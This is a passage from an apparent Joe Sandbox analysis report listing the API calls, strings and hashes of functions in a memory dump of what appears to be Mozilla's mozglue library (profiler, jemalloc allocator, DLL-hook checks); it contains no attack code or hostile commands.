Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Part of subcall function 6C5C5C50: __aulldiv.LIBCMT ref: 6C5C5DB4
Part of subcall function 6C5C5C50: LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C5EF155
GetCurrentThreadId.KERNEL32 ref: 6C5EF1E0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF1ED
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF212
GetCurrentThreadId.KERNEL32 ref: 6C5EF229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF248
GetCurrentThreadId.KERNEL32 ref: 6C5EF2AE
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2BB
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF2F8

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF350
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF35D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF381
GetCurrentThreadId.KERNEL32 ref: 6C5EF398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF3A0
GetCurrentThreadId.KERNEL32 ref: 6C5EF489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF491

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF3CF

Part of subcall function 6C5EF070: GetCurrentThreadId.KERNEL32 ref: 6C5EF440
Part of subcall function 6C5EF070: AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF44D
Part of subcall function 6C5EF070: ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF4A8
GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561
GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction ID: 2b42dbcddee667c7de4eb933c4d2a3b15098744940708d25c611d259559f1f8a
Opcode Fuzzy Hash: 12276fc93db9fb532e6e1549d4b0777858a09bc791726fd82e799b26cac81031
Instruction Fuzzy Hash: 72D11871704314CFDB009F6AD884799B7B8EF8A368F10462AE95583B81DB785805CBAF

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

user32.dll, xrefs: 6C5B6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
nvdxgiwrap.dll, xrefs: 6C5B6513
detoured.dll, xrefs: 6C5B64DA
nvd3d9wrap.dll, xrefs: 6C5B6500
_etoured.dll, xrefs: 6C5B64ED

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C5CD850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5CD904
LeaveCriticalSection.KERNEL32(?), ref: 6C5CD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C5CD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C5CE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5CE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CE315
AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE37C
GetSystemInfo.KERNEL32(?), ref: 6C5CE3C7
__Init_thread_footer.LIBCMT ref: 6C5CE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5CE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5CE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5CE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5CE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5CE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E768,00001388), ref: 6C5CE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C5CE52E
ReleaseSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5CE54F

Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(?), ref: 6C5BD999
Part of subcall function 6C5BD960: EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BDA13

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C5CE621
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5CE6DD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CE560, 6C5CE58A, 6C5CE5A5
<jemalloc>, xrefs: 6C5CE61C, 6C5CE6CC
MOZ_CRASH(), xrefs: 6C5CE62B
MALLOC_OPTIONS, xrefs: 6C5CE3FF

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction ID: f7702a4bc3e401984d7a66c59003df251c6b88db913acd82e4e2aca08cf786b8
Opcode Fuzzy Hash: ad19b38e7e0c4918dbfc8d9da185cb91bdb0fcbf0c1a00a1578b2556ba3c339a
Instruction Fuzzy Hash: 9D92A9B1B056018BD714CF69C881715BBE1FF86328F29866DE869CB791D375E841CBC2

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED13
~qZl, xrefs: 6C5CED10

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C60E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C60E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C60F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C610E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C610E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C610EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C610ED4

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction ID: c6eabfe3f412d1d2eaf72fe6ce72a59487ac4f0c926c20f57711cde906a31c0d
Opcode Fuzzy Hash: 5ec7d1aa0702711cd1ab79f8ed3298e6fa023afd74ac47c29262aa4d82e1b97e
Instruction Fuzzy Hash: C4639D71E0425A8FCB08CFACC9905DDF7B2FF89314F298229D855AB745D730A946CB94

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10
MOZ_CRASH(), xrefs: 6C5C0CA7

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Time entry, xrefs: 6C5F5CB6
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
name, xrefs: 6C5F5E79, 6C5F5E8F
data, xrefs: 6C5F6131
expected a Count entry, xrefs: 6C5F5AC3
schema, xrefs: 6C5F606D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5B7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5B7885
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5B78A5
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5B78AD
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5B78CD
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B7C82
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5B7DAF

Strings

Dbl, xrefs: 6C5B789F
Dbl, xrefs: 6C5B787F

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dbl$Dbl
API String ID: 759993129-2483856670
Opcode ID: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction ID: 4a34f0f1089bc92d6387a8b82554bcb8a06f354d0b2b214a5fef26b25937d13d
Opcode Fuzzy Hash: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction Fuzzy Hash: 3E029230A012198FDB54CF29C994799BBB5FF88358F2582AAD809B7710D734BE90CF94

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

